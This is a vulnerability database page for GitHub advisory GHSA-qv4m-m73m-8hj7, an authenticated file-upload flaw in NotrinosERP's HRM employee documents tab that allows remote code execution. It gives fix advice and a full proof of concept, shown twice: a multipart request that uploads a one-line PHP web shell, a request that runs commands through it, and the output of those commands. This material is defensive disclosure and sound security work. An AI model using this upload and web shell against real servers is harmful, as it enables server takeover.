GHSA-qv4m-m73m-8hj7: NotrinosERP Remote Code Execution Vulnerability

HIGH
CVSS 8.8
CWE-434 CWE-22
Published
Advisory Summary

GHSA-qv4m-m73m-8hj7 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting NotrinosERP libraries in the Packagist ecosystem. The issue involves authenticated arbitrary file upload leads to remote code execution via hrm employee "documents" (doc_file). Remediation is available in the latest vendor maintenance releases.

GHSA-qv4m-m73m-8hj7 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-qv4m-m73m-8hj7
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Product NotrinosERP
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-qv4m-m73m-8hj7

To remediate this vulnerability, upgrade all affected NotrinosERP dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

notrinos/notrinos-erp fixed: Latest secure release
Upgrade notrinos/notrinos-erp to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for notrinos/notrinos-erp

How to Check if You Are Affected

To determine whether your application is affected by GHSA-qv4m-m73m-8hj7, inspect your project dependencies for NotrinosERP:

inspect dependencies for notrinos/notrinos-erp

Analyze the terminal output to locate any version of NotrinosERP in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In NotrinosERP, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

#### Summary An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server. #### Details The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim: ```php // hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573) $upload_dir = company_path().'/documents/employees'; if (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true); $file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name']; if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... } ``` There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern. Reachability of the written file: - `company_path()` resolves under the web root; `config.default.php` sets `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`. - The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log` only — it does **not** block `.php` and does **not** cover `company/`. - The stored path is then echoed **unescaped** into a clickable "View" link (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79). A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`. #### Proof of Concept The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the hidden `_token`, then submit. Against your **own** local instance: ```http POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1 Host: <your-local-instance> Cookie: <authenticated session> Content-Type: multipart/form-data; boundary=b --b Content-Disposition: form-data; name="_token" <value of the hidden _token field from the GET response> --b Content-Disposition: form-data; name="doc_type_id" <a valid document type id> --b Content-Disposition: form-data; name="doc_name" x --b Content-Disposition: form-data; name="doc_file"; filename="shell.php" Content-Type: application/x-php <?php system($_GET['c']); ?> --b Content-Disposition: form-data; name="save_document" Save Document --b-- ``` Then request the stored file (its exact path is shown in the Documents tab's "View" link): ```http GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1 ``` The command in `c` executes on the server. #### Validation (performed locally, no network) The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload: ``` $ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id' uid=501(...) gid=20(staff) ... $ curl '.../<same>.php?c=uname%20-sm;whoami' Darwin arm64 <user> ``` Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file. #### Impact Remote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS ≈ 7.2). #### Suggested fix - Never use the client filename on disk. Store with a server-generated name and **no executable extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name only as a DB label. - Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic` branch already does. - Store uploads outside the web root, or drop an `.htaccess`/`web.config` in `company/*/documents/` that disables script execution (`php_admin_flag engine off`, `RemoveHandler .php`, `SetHandler none`). - `htmlspecialchars()` the stored path before emitting the "View" link (fixes the secondary XSS). #### Resources / credit - Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`. - Reported by: **&lt;Kasper Hong / Kasper Builds&gt;**.

GHSA-qv4m-m73m-8hj7 Affected NotrinosERP Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
notrinos/notrinos-erp
Packagist
≤ 1.0.0

References

Frequently Asked Questions

What is GHSA-qv4m-m73m-8hj7?
GHSA-qv4m-m73m-8hj7 is a security vulnerability in NotrinosERP involving Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file) under CWE-434: Unrestricted Upload of File with Dangerous Type.
Which NotrinosERP versions are affected?
Affected versions include releases prior to current release patches across affected packages: notrinos/notrinos-erp.
What version fixes GHSA-qv4m-m73m-8hj7?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is notrinos/notrinos-erp affected?
Yes, notrinos/notrinos-erp is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-qv4m-m73m-8hj7?
GHSA-qv4m-m73m-8hj7 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-qv4m-m73m-8hj7?
GHSA-qv4m-m73m-8hj7 is classified under CWE-434: Unrestricted Upload of File with Dangerous Type (The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.).
How can I check Packagist dependencies for GHSA-qv4m-m73m-8hj7?
Run the dependency tree command: 'inspect dependencies for notrinos/notrinos-erp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qv4m-m73m-8hj7",
  "modified" : "2026-07-10T19:34:03Z",
  "published" : "2026-07-10T19:34:03Z",
  "aliases" : [ ],
  "summary" : "NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee \"Documents\" (doc_file)",
  "details" : "#### Summary\nAn authenticated user with the HR \"Manage Employees\" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.\n\n#### Details\nThe document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:\n\n```php\n// hrm/manage/employees.php -> tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)\n$upload_dir = company_path().'/documents/employees';\nif (!file_exists($upload_dir))\n    mkdir($upload_dir, 0777, true);\n$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];\nif (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }\n```\n\nThere is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.\n\nReachability of the written file:\n- `company_path()` resolves under the web root; `config.default.php` sets\n  `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`.\n- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`\n  only — it does **not** block `.php` and does **not** cover `company/`.\n- The stored path is then echoed **unescaped** into a clickable \"View\" link\n  (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`),\n  handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).\n\nA crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`.\n\n#### Proof of Concept\nThe upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the\nhidden `_token`, then submit. Against your **own** local instance:\n\n```http\nPOST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1\nHost: <your-local-instance>\nCookie: <authenticated session>\nContent-Type: multipart/form-data; boundary=b\n\n--b\nContent-Disposition: form-data; name=\"_token\"\n\n<value of the hidden _token field from the GET response>\n--b\nContent-Disposition: form-data; name=\"doc_type_id\"\n\n<a valid document type id>\n--b\nContent-Disposition: form-data; name=\"doc_name\"\n\nx\n--b\nContent-Disposition: form-data; name=\"doc_file\"; filename=\"shell.php\"\nContent-Type: application/x-php\n\n<?php system($_GET['c']); ?>\n--b\nContent-Disposition: form-data; name=\"save_document\"\n\nSave Document\n--b--\n```\n\nThen request the stored file (its exact path is shown in the Documents tab's \"View\" link):\n\n```http\nGET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1\n```\n\nThe command in `c` executes on the server.\n\n#### Validation (performed locally, no network)\nThe code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:\n\n```\n$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'\nuid=501(...) gid=20(staff) ...\n$ curl '.../<same>.php?c=uname%20-sm;whoami'\nDarwin arm64\n<user>\n```\n\nCaveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.\n\n#### Impact\nRemote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS ≈ 7.2).\n\n#### Suggested fix\n- Never use the client filename on disk. Store with a server-generated name and **no executable\n  extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name\n  only as a DB label.\n- Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`\n  branch already does.\n- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in\n  `company/*/documents/` that disables script execution (`php_admin_flag engine off`,\n  `RemoveHandler .php`, `SetHandler none`).\n- `htmlspecialchars()` the stored path before emitting the \"View\" link (fixes the secondary XSS).\n\n#### Resources / credit\n- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.\n- Reported by: **&lt;Kasper Hong / Kasper Builds&gt;**.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "notrinos/notrinos-erp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/notrinos/NotrinosERP/security/advisories/GHSA-qv4m-m73m-8hj7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/notrinos/NotrinosERP"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-10T19:34:03Z",
    "nvd_published_at" : null
  }
}